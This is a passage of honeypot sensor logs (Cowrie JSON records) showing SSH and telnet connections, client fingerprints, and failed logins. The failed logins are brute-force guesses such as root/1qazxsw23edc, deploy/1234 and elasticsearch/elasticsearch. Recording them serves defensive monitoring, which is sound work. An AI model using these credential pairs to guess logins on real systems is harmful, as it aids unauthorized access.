{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50878,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e9c78413fc","protocol":"telnet","message":"New connection: 152.42.224.71:50878 (10.17.0.5:23) [session: f6e9c78413fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:15.649052Z"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:15.792307Z","src_ip":"192.109.200.237","session":"797a7f79a64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:16.877524Z","src_ip":"192.109.200.237","session":"797a7f79a64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48038,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7b496c6b4e","protocol":"ssh","message":"New connection: 192.109.200.237:48038 (159.203.135.109:22) [session: 1f7b496c6b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:18.661660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:18.666548Z","src_ip":"192.109.200.237","session":"1f7b496c6b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:18.748715Z","src_ip":"192.109.200.237","session":"1f7b496c6b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:18.996726Z","src_ip":"192.109.200.237","session":"1f7b496c6b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32926,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c2e2f6dfb3","protocol":"telnet","message":"New connection: 152.42.224.71:32926 (10.17.0.5:23) [session: 19c2e2f6dfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:19.759169Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:20.110626Z","src_ip":"192.109.200.237","session":"1f7b496c6b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37948,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36c150995a4","protocol":"ssh","message":"New connection: 192.109.200.237:37948 (159.203.135.109:22) [session: d36c150995a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:22.036728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:22.041602Z","src_ip":"192.109.200.237","session":"d36c150995a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:22.130656Z","src_ip":"192.109.200.237","session":"d36c150995a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:22.550301Z","src_ip":"192.109.200.237","session":"d36c150995a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:23.639959Z","src_ip":"192.109.200.237","session":"d36c150995a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39902,"dst_ip":"159.203.135.109","dst_port":22,"session":"480389b9d04d","protocol":"ssh","message":"New connection: 109.237.96.109:39902 (159.203.135.109:22) [session: 480389b9d04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:24.554990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:24.560913Z","src_ip":"109.237.96.109","session":"480389b9d04d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:24.650411Z","src_ip":"109.237.96.109","session":"480389b9d04d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw23edc","message":"login attempt [root/1qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:24.921305Z","src_ip":"109.237.96.109","session":"480389b9d04d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37958,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5b36b2ca96","protocol":"ssh","message":"New connection: 192.109.200.237:37958 (159.203.135.109:22) [session: 4b5b36b2ca96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:25.504959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:25.510219Z","src_ip":"192.109.200.237","session":"4b5b36b2ca96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:25.596689Z","src_ip":"192.109.200.237","session":"4b5b36b2ca96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118112564087,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:25.823424Z","src_ip":"152.42.224.71","session":"2ef1e5f56f5a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:25.845477Z","src_ip":"192.109.200.237","session":"4b5b36b2ca96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:26.054223Z","src_ip":"109.237.96.109","session":"480389b9d04d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:26.931615Z","src_ip":"192.109.200.237","session":"4b5b36b2ca96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":57890,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a5d2b505b6","protocol":"telnet","message":"New connection: 209.127.178.212:57890 (159.203.135.109:23) [session: 08a5d2b505b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:27.824310Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37966,"dst_ip":"159.203.135.109","dst_port":22,"session":"239fd33ddfa4","protocol":"ssh","message":"New connection: 192.109.200.237:37966 (159.203.135.109:22) [session: 239fd33ddfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:28.810918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:28.816347Z","src_ip":"192.109.200.237","session":"239fd33ddfa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:28.899647Z","src_ip":"192.109.200.237","session":"239fd33ddfa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:29.147247Z","src_ip":"192.109.200.237","session":"239fd33ddfa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.40435028076172,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:29.776504Z","src_ip":"152.42.224.71","session":"cccb47da08ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:30.306561Z","src_ip":"192.109.200.237","session":"239fd33ddfa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34746,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa33d16c43cb","protocol":"ssh","message":"New connection: 192.109.200.237:34746 (159.203.135.109:22) [session: fa33d16c43cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:32.155621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:32.160553Z","src_ip":"192.109.200.237","session":"fa33d16c43cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:32.243644Z","src_ip":"192.109.200.237","session":"fa33d16c43cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:32.491924Z","src_ip":"192.109.200.237","session":"fa33d16c43cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:33.577846Z","src_ip":"192.109.200.237","session":"fa33d16c43cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34758,"dst_ip":"159.203.135.109","dst_port":22,"session":"99917b41378f","protocol":"ssh","message":"New connection: 192.109.200.237:34758 (159.203.135.109:22) [session: 99917b41378f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:35.439762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:35.445580Z","src_ip":"192.109.200.237","session":"99917b41378f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:35.605505Z","src_ip":"192.109.200.237","session":"99917b41378f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:35.932714Z","src_ip":"192.109.200.237","session":"99917b41378f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:37.020740Z","src_ip":"192.109.200.237","session":"99917b41378f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34772,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0de53ec374b","protocol":"ssh","message":"New connection: 192.109.200.237:34772 (159.203.135.109:22) [session: f0de53ec374b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:39.013286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:39.018175Z","src_ip":"192.109.200.237","session":"f0de53ec374b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 